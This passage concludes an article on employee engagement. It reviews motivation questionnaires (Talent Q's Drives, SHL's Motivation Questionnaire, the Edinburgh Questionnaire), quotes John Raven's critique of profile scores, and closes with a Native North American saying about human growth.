These are interesting questions, but "macro responses" to surveys don't address individual drives sufficiently. No wonder, that most companies run employees surveys and a new coffee machine may result! Managers need to be able to tailor engagement strategies in line with *individual drives*: "micro-engagement".

Talent Q's "engagement solution" is a questionnaire, *Drives*. It helps to understand what motivates, enthuses and drives employees, a key to ensuring they are engaged and committed. The drive profile of a person reveals how likely will the person respond positively to challenges (high targets, learning new techniques, pioneering, personal growth), how important is her to be connected with others (have a positive impact, serving customers, enjoying the social aspect of her work, supporting her co-workers), what is the role of self-esteem (authority, material possession, recognition, professionalism) in her motivation and some personal issues affecting how much she is engaged in her work (e.g. security, autonomy).

SHL's Motivation Questionnaire assess four main aspects:[32]
  − Energy and Dynamism (level of Activity, Achievement, Competition etc.)
  − Synergy (Affiliation, Recognition, Personal Growth etc.)
  − Intrinsic (Interest, Flexibility, Autonomy)
  − Extrinsic (Material Reward, Progression, Status)

John Raven has a negative opinion about these type of profiles: "…detailed cognitive-affective maps of people's interest, perceptions, and expectations in each…area are a great deal more revealing than any overall measures of motivation. In other words, category-based descriptive statements about people are more useful than profiles of scale scores." (p. 98)

The *Edinburgh Questionnaire* is an "attempt to identify a problem which the individual concerned finds personally important by asking him to rate, first, the importance he attaches to a large number of possible satisfaction in life and, second, how satisfied he is in each respect at the present time. After this task has been completed an item which has been rated both important and unsatisfactory is selected. The person completing the Questionnaires is then asked to indicate what would happen if he tried to tackle the "problem" identified by this discrepancy between his personal priorities and his experienced life situation – would it mean that he would have to give up other activities which he values? Would he be able to gain the necessary co-operation of others? Would other people support him? Would it be appropriate for someone in his position to do this? Would the environment in which he lives and works enable him to do is? Would it enable him to do it? Would it enable him to experience satisfactions he desires?"[33]

Final words

We can finish our journey around "engagement" with a humble suggestion that we should strive to find or create schools and workplaces full of engaging activities.

The wisdom of native elders, spiritual leaders and professionals of various native communities in North America says:[34]

"All human beings have the capacity to grow and change. The four aspect of our nature (the physical, the mental, the emotional and the spiritual) can be developed when we have a vision of what is possible and when we use our volition to change our actions and our attitudes so that they will be closer to our vision of a *happy, healthy human being*."

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